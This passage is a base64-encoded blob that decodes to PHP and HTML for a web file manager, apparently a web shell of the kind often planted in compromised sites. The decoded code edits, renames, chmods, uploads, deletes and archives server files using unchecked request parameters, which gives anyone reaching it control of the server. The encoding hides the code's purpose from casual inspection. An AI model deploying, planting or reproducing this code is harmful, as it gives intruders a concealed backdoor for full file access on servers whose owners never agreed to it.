tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOw0KPz4NCg0KPHRhYmxlIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScxJyB3aWR0aD0iMTAwJSI+DQo8dHI+DQoNCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLl9fKCdFZGl0JykuJyAtICcuJHBhdGguJF9SRVFVRVNUWydlZGl0J10/PjwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdHI+DQoNCjx0cj4NCg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQogICAgICAgIDw/PSRtc2c/Pg0KDQoJPC90ZD4NCjwvdHI+DQoNCjx0cj4NCg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQoNCiAgICAgICAgPD89Zm1faG9tZSgpPz4gPGEgaHJlZj0iPD89JGJhY2tsaW5rPz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4NCg0KCTwvdGQ+DQo8L3RyPg0KDQo8dHI+DQoNCiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPg0KDQogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGVkaXRsaW5rPz4iPg0KICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im5ld2NvbnRlbnQiIGlkPSJuZXdjb250ZW50IiBjb2xzPSI0NSIgcm93cz0iMTUiIHN0eWxlPSJ3aWR0aDo5OSUiIHNwZWxsY2hlY2s9ImZhbHNlIj48Pz1odG1sc3BlY2lhbGNoYXJzKCRvbGRjb250ZW50KT8+PC90ZXh0YXJlYT4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNhdmUiIHZhbHVlPSI8Pz1fXygnU3VibWl0Jyk/PiI+DQoNCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNhbmNlbCIgdmFsdWU9Ijw/PV9fKCdDYW5jZWwnKT8+Ij4NCg0KICAgICAgICA8L2Zvcm0+DQoNCiAgICA8L3RkPg0KDQo8L3RyPg0KPC90YWJsZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIA0KZWNobyAkYXV0aF9sb2NhbFsnc2NyaXB0J107DQp9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydyaWdodHMnXSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCWlmKCFlbXB0eSgkX1JFUVVFU1RbJ3NhdmUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgaWYoZm1fY2htb2QoJHBhdGggLiAkX1JFUVVFU1RbJ3JpZ2h0cyddLCBmbV9jb252ZXJ0X3JpZ2h0cygkX1JFUVVFU1RbJ3JpZ2h0c192YWwnXSksIEAkX1JFUVVFU1RbJ3JlY3Vyc2l2ZWx5J10pKQ0KCQkgICAgICAgICAkbXNnIC49IChfXygnRmlsZSB1cGRhdGVkJykpOyANCg0KCQkgICAgICAgICBlbHNlICRtc2cgLj0gKF9fKCdFcnJvciBvY2N1cnJlZCcpKTsNCg0KCX0NCgljbGVhcnN0YXRjYWNoZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICRvbGRyaWdodHMgPSBmbV9yaWdodHNfc3RyaW5nKCRwYXRoIC4gJF9SRVFVRVNUWydyaWdodHMnXSwgdHJ1ZSk7DQoNCiAgICAkbGluayA9ICR1cmxfaW5jIC4gJyZyaWdodHM9JyAuICRfUkVRVUVTVFsncmlnaHRzJ10gLiAnJnBhdGg9JyAuICRwYXRoOw0KDQogICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOw0KDQo/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQoNCjx0cj4NCiAgICA8dGg+PD89X18oJ0ZpbGUgbWFuYWdlcicpLicgLSAnLiRwYXRoPz48L3RoPg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj4NCg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQoNCiAgICAgICAgPD89JG1zZz8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJPC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KDQogICAgPHRkIGNsYXNzPSJyb3cxIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICA8YSBocmVmPSI8Pz0kYmFja2xpbms/PiI+PD89X18oJ0JhY2snKT8+PC9hPg0KCTwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICANCjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0cj4NCg0KICAgIDx0ZCBjbGFzcz0icm93MSIgYWxpZ249ImNlbnRlciI+DQoNCiAgICAgICAgPGZvcm0gbmFtZT0iZm9ybTEiIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI8Pz0kbGluaz8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICA8Pz1fXygnUmlnaHRzJykuJyAtICcuJF9SRVFVRVNUWydyaWdodHMnXT8+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyaWdodHNfdmFsIiB2YWx1ZT0iPD89JG9sZHJpZ2h0cz8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIDw/cGhwIGlmIChpc19kaXIoJHBhdGguJF9SRVFVRVNUWydyaWdodHMnXSkpIHsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVjdXJzaXZlbHkiIHZhbHVlPSIxIj4gPD89X18oJ1JlY3Vyc2l2ZWx5Jyk/Pjxici8+DQoNCiAgICAgICAgPD9waHAgfSA/Pg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PV9fKCdTdWJtaXQnKT8+Ij4NCiAgICAgICAgPC9mb3JtPg0KDQogICAgPC90ZD4NCg0KPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdGFibGU+DQoNCjw/cGhwDQp9IGVsc2VpZiAoIWVtcHR5KCRfUkVRVUVTVFsncmVuYW1lJ10pJiYkX1JFUVVFU1RbJ3JlbmFtZSddPD4nLicpIHsNCglpZighZW1wdHkoJF9SRVFVRVNUWydzYXZlJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgIHJlbmFtZSgkcGF0aCAuICRfUkVRVUVTVFsncmVuYW1lJ10sICRwYXRoIC4gJF9SRVFVRVNUWyduZXduYW1lJ10pOw0KDQoJCSAgICAgICAgICRtc2cgLj0gKF9fKCdGaWxlIHVwZGF0ZWQnKSk7DQoJCSAgICAgICAgICRfUkVRVUVTVFsncmVuYW1lJ10gPSAkX1JFUVVFU1RbJ25ld25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJfQ0KDQoJY2xlYXJzdGF0Y2FjaGUoKTsNCg0KICAgICRsaW5rID0gJHVybF9pbmMgLiAnJnJlbmFtZT0nIC4gJF9SRVFVRVNUWydyZW5hbWUnXSAuICcmcGF0aD0nIC4gJHBhdGg7DQogICAgJGJhY2tsaW5rID0gJHVybF9pbmMgLiAnJnBhdGg9JyAuICRwYXRoOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KPz4NCg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPHRyPg0KDQogICAgPHRoPjw/PV9fKCdGaWxlIG1hbmFnZXInKS4nIC0gJy4kcGF0aD8+PC90aD4NCg0KPC90cj4NCjx0cj4NCg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQogICAgICAgIDw/PSRtc2c/Pg0KCTwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdHI+DQoNCjx0cj4NCg0KICAgIDx0ZCBjbGFzcz0icm93MSI+DQoNCiAgICAgICAgPGEgaHJlZj0iPD89JGJhY2tsaW5rPz4iPjw/PV9fKCdCYWNrJyk/PjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJPC90ZD4NCg0KPC90cj4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzEiIGFsaWduPSJjZW50ZXIiPg0KDQogICAgICAgIDxmb3JtIG5hbWU9ImZvcm0xIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JGxpbms/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICA8Pz1fXygnUmVuYW1lJyk/PjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld25hbWUiIHZhbHVlPSI8Pz0kX1JFUVVFU1RbJ3JlbmFtZSddPz4iPjxici8+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZlIiB2YWx1ZT0iPD89X18oJ1N1Ym1pdCcpPz4iPg0KICAgICAgICA8L2Zvcm0+DQoNCiAgICA8L3RkPg0KDQo8L3RyPg0KPC90YWJsZT4NCg0KPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9IGVsc2Ugew0KDQovL0xldCdzIHJvY2shDQoNCiAgICAkbXNnID0gJyc7DQoNCiAgICBpZighZW1wdHkoJF9GSUxFU1sndXBsb2FkJ10pJiYhZW1wdHkoJGZtc19jb25maWdbJ3VwbG9hZF9teWZpbGUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIGlmKCFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSl7DQoNCiAgICAgICAgICAgICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10gPSBzdHJfcmVwbGFjZSgnJScsICcnLCAkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKTsNCiAgICAgICAgICAgIGlmKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkJ11bJ3RtcF9uYW1lJ10sICRwYXRoIC4gJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSkpew0KICAgICAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICAkbXNnIC49IF9fKCdGaWxlcyB1cGxvYWRlZCcpLic6ICcuJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXTsNCgkJICAgICAgICAgCX0NCg0KICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIH0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ2RlbGV0ZSddKSYmJF9SRVFVRVNUWydkZWxldGUnXTw+Jy4nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgaWYoIWZtX2RlbF9maWxlU2V0KCgkcGF0aCAuICRfUkVRVUVTVFsnZGVsZXRlJ10pLCB0cnVlKSkgew0KDQogICAgICAgICAgICAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KICAgICAgICB9IGVsc2Ugew0KDQoJCSAgICAgICAgIAkkbXNnIC49IF9fKCdEZWxldGVkJykuJyAnLiRfUkVRVUVTVFsnZGVsZXRlJ107DQoNCgkJICAgICAgICAgfQ0KCX0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZGlyJ10pJiYhZW1wdHkoJGZtc19jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7DQoNCiAgICAgICAgaWYoIUBta2RpcigkcGF0aCAuICRfUkVRVUVTVFsnZGlybmFtZSddLDA3NzcpKSB7DQoNCiAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgfSBlbHNlIHsNCg0KCQkgICAgICAgICAJJG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2Rpcm5hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgfQ0KDQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsICcwJyk7DQoNCgkJICAgICAgICAgJHNlYXJjaF9kYXRhID0gIGZpbmRfdGV4dF9pbl9maWxlU2V0KCRfUE9TVFsncGF0aCddLCAkX1BPU1RbJ21hc2snXSwgJF9QT1NUWydzZWFyY2hfcmVjdXJzaXZlJ10pOw0KDQoJCSAgICAgICAgIGlmKCFlbXB0eSgkc2VhcmNoX2RhdGEpKSB7DQoNCgkJICAgICAgICAgCSRtc2cgLj0gX18oJ0ZvdW5kIGluIGZpbGVTZXQnKS4nICgnLmNvdW50KCRzZWFyY2hfZGF0YSkuJyk6PGJyPic7DQoNCgkJICAgICAgICAgCWZvcmVhY2ggKCRzZWFyY2hfZGF0YSBhcyAkZmlsZW5hbWUpIHsNCg0KCQkgICAgICAgICAJCSAgICAgICAgICRtc2cgLj0gJzxhIGhyZWY9IicuZm1fdXJsKHRydWUpLic/Zm09dHJ1ZSZlZGl0PScuYmFzZW5hbWUoJGZpbGVuYW1lKS4nJnBhdGg9Jy5zdHJfcmVwbGFjZSgnLycuYmFzZW5hbWUoJGZpbGVuYW1lKSwnLycsJGZpbGVuYW1lKS4nIiB0aXRsZT0iJyAuIF9fKCdFZGl0JykgLiAnIj4nLmJhc2VuYW1lKCRmaWxlbmFtZSkuJzwvYT4mbmJzcDsgJm5ic3A7JzsNCg0KCQkgICAgICAgICAJfQ0KDQoJCSAgICAgICAgIH0gZWxzZSB7DQoJCSAgICAgICAgIAkkbXNnIC49IF9fKCdOb3RoaW5nIGZvdW5kZWQnKTsNCgkJICAgICAgICAgfQkNCg0KCX0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZmlsZSddKSYmIWVtcHR5KCRmbXNfY29uZmlnWyduZXdfZmlsZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIGlmKCEkZnA9QGZvcGVuKCRwYXRoIC4gJF9SRVFVRVNUWydmaWxlbmFtZSddLCJ3IikpIHsNCg0KICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCg0KICAgICAgICB9IGVsc2Ugew0KDQoJCSAgICAgICAgIAlmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkkbXNnIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZmlsZW5hbWUnXTsNCg0KCQkgICAgICAgICB9DQoNCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3ppcCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnemlwJ10pOw0KDQoJCSAgICAgICAgICRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicuemlwJzsNCgkJICAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQoJCSAgICAgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7DQoNCgkJICAgICAgICAgJHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTsNCg0KCQkgICAgICAgICBpZiAoaXNfZmlsZSgkZGVzdGluYXRpb24pKQ0KDQoJCSAgICAgICAgICRtc2cgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4NCg0KCQkgICAgICAgICAnLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiAkZGVzdGluYXRpb24uJyIgPicuX18oJ0RlbGV0ZScpIC4gJzwvYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVTZXQnKTsNCg0KCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3onXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2d6J10pOw0KDQoJCSAgICAgICAgICRhcmNoaXZlID0gJHNvdXJjZS4nLnRhcic7DQoNCgkJICAgICAgICAgJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSkuJy50YXInOw0KDQoJCSAgICAgICAgIGlmIChpc19maWxlKCRhcmNoaXZlKSkgdW5saW5rKCRhcmNoaXZlKTsNCg0KCQkgICAgICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHVubGluaygkYXJjaGl2ZS4nLmd6Jyk7DQoNCgkJICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCg0KCQkgICAgICAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIC8vZGllKCk7DQoJCSAgICAgICAgICRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7DQoJCSAgICAgICAgICRwaGFyLT5idWlsZEZyb21EaXJlY3RvcnkoJHNvdXJjZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgJHBoYXItPmNvbXByZXNzKFBoYXI6OkdaLCcudGFyLmd6Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICB1bnNldCgkcGhhcik7DQoJCSAgICAgICAgIGlmIChpc19maWxlKCRhcmNoaXZlKSkgew0KCQkgICAgICAgICAJaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB7DQoNCgkJICAgICAgICAgCQkgICAgICAgICB1bmxpbmsoJGFyY2hpdmUpOyANCgkJICAgICAgICAgCQkgICAgICAgICAkZGVzdGluYXRpb24gLj0gJy5neic7DQoNCgkJICAgICAgICAgCX0NCg0KDQoNCg0KDQoJCSAgICAgICAgIAkkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuDQoJCSAgICAgICAgIAknLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAuJyZuYnNwOzxhIGhyZWY9IicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nIiB0aXRsZT0iJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nIiA+Jy5fXygnRGVsZXRlJykuJzwvYT4nOw0KCQkgICAgICAgICB9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlU2V0Jyk7DQoNCgl9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2RlY29tcHJlc3MnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAvLyAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZGVjb21wcmVzcyddKTsNCgkJICAgICAgICAgLy8gJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSk7DQoJCSAgICAgICAgIC8vICRleHQgPSBlbmQoZXhwbG9kZSgiLiIsICRkZXN0aW5hdGlvbikpOw0KCQkgICAgICAgICAvLyBpZiAoJGV4dD09J3ppcCcgT1IgJGV4dD09J2d6Jykgew0KDQoJCSAgICAgICAgIAkvLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkc291cmNlKTsNCgkJICAgICAgICAgCS8vICRwaGFyLT5kZWNvbXByZXNzKCk7DQoNCgkJICAgICAgICAgCS8vICRiYXNlX2ZpbGUgPSBzdHJfcmVwbGFjZSgnLicuJGV4dCwnJywkZGVzdGluYXRpb24pOw0KDQoJCSAgICAgICAgIAkvLyAkZXh0ID0gZW5kKGV4cGxvZGUoIi4iLCAkYmFzZV9maWxlKSk7DQoNCgkJICAgICAgICAgCS8vIGlmICgkZXh0PT0ndGFyJyl7DQoJCSAgICAgICAgIAkJICAgICAgICAgLy8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJGJhc2VfZmlsZSk7DQoNCgkJICAgICAgICAgCQkgICAgICAgICAvLyAkcGhhci0+ZXh0cmFjdFRvKGRpcigkc291cmNlKSk7DQoJCSAgICAgICAgIAkvLyB9DQoJCSAgICAgICAgIC8vIH0gDQoJCSAgICAgICAgIC8vICRtc2cgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdEZWNvbXByZXNzJykuJyAnLiRzb3VyY2UuJyIgJy5fXygnZG9uZScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3pmaWxlJ10pKSB7DQoNCgkJICAgICAgICAgJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2d6ZmlsZSddKTsNCgkJICAgICAgICAgJGFyY2hpdmUgPSAkc291cmNlLicudGFyJzsNCg0KCQkgICAgICAgICAkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIGlmIChpc19maWxlKCRhcmNoaXZlKSkgdW5saW5rKCRhcmNoaXZlKTsNCg0KCQkgICAgICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHVubGluaygkYXJjaGl2ZS4nLmd6Jyk7DQoNCgkJICAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7DQoNCgkJICAgICAgICAgLy9lY2hvICRkZXN0aW5hdGlvbjsNCg0KCQkgICAgICAgICAkZXh0X2FyciA9IGV4cGxvZGUoJy4nLGJhc2VuYW1lKCRzb3VyY2UpKTsNCg0KCQkgICAgICAgICBpZiAoaXNzZXQoJGV4dF9hcnJbMV0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCXVuc2V0KCRleHRfYXJyWzBdKTsNCg0KCQkgICAgICAgICAJJGV4dD1pbXBsb2RlKCcuJywkZXh0X2Fycik7DQoNCgkJICAgICAgICAgfSANCg0KCQkgICAgICAgICAkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAkcGhhci0+YWRkRmlsZSgkc291cmNlKTsNCg0KCQkgICAgICAgICAkcGhhci0+Y29tcHJlc3MoUGhhcjo6R1osJGV4dC4nLnRhci5neicpOw0KDQoJCSAgICAgICAgIHVuc2V0KCRwaGFyKTsNCg0KCQkgICAgICAgICBpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHsNCg0KCQkgICAgICAgICAJaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgdW5saW5rKCRhcmNoaXZlKTsgDQoNCgkJICAgICAgICAgCQkgICAgICAgICAkZGVzdGluYXRpb24gLj0gJy5neic7DQoNCgkJICAgICAgICAgCX0NCgkJICAgICAgICAgCSRtc2cgLj0gX18oJ1Rhc2snKS4nICInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLiciICcuX18oJ2RvbmUnKS4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJJy4mbmJzcDsnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pDQoNCgkJICAgICAgICAgCS4nJm5ic3A7PGEgaHJlZj0iJy4kdXJsX2luYy4nJmRlbGV0ZT0nLiRkZXN0aW5hdGlvbi4nJnBhdGg9JyAuICRwYXRoLiciIHRpdGxlPSInLl9fKCdEZWxldGUnKS4nICcuJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKS4nPC9hPic7DQoJCSAgICAgICAgIH0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpLic6ICcuX18oJ25vIGZpbGVTZXQnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICANCgl9DQoNCj8+DQoNCg0KDQoNCg0KPHRhYmxlIGNsYXNzPSJ3aG9sZSIgaWQ9ImhlYWRlcl90YWJsZSIgPg0KDQo8dHI+DQogICAgPHRoIGNvbHNwYW49IjIiPjw/PV9fKCdGaWxlIG1hbmFnZXInKT8+PD89KCFlbXB0eSgkcGF0aCk/JyAtICcuJHBhdGg6JycpPz48L3RoPg0KDQo8L3RyPg0KPD9waHAgaWYoIWVtcHR5KCRtc2cpKXsgPz4NCg0KPHRyPg0KDQoJPHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3cyIj48Pz0kbXNnPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvdHI+DQoNCjw/cGhwIH0gPz4NCjx0cj4NCiAgICA8dGQgY2xhc3M9InJvdzIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIDx0YWJsZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAk8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJPHRkPg0KCQkgICAgICAgICAJCSAgICAgICAgIDw/PWZtX2hvbWUoKT8+DQoNCgkJICAgICAgICAgCTwvdGQ+DQoNCiAgICAgICAgICAgICAgICAgICAgDQoNCg0KCQkgICAgICAgICAJPHRkPg0KDQoJCSAgICAgICAgIAk8P3BocCBpZighZW1wdHkoJGZtc19jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAkJICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSR1cmxfaW5jPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4NCg0KCQkgICAgICAgICAJCSAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXJuYW1lIiBzaXplPSIxNSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkJICAgICAgICAgCQkgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJta2RpciIgdmFsdWU9Ijw/PV9fKCdNYWtlIGRpcmVjdG9yeScpPz4iPg0KCQkgICAgICAgICAJCSAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJCSAgICAgICAgIAk8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCQkgICAgICAgICAJDQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPC90ZD4NCg0KCQkgICAgICAgICAJPHRkPg0KCQkgICAgICAgICAJPD9waHAgaWYoIWVtcHR5KCRmbXNfY29uZmlnWyduZXdf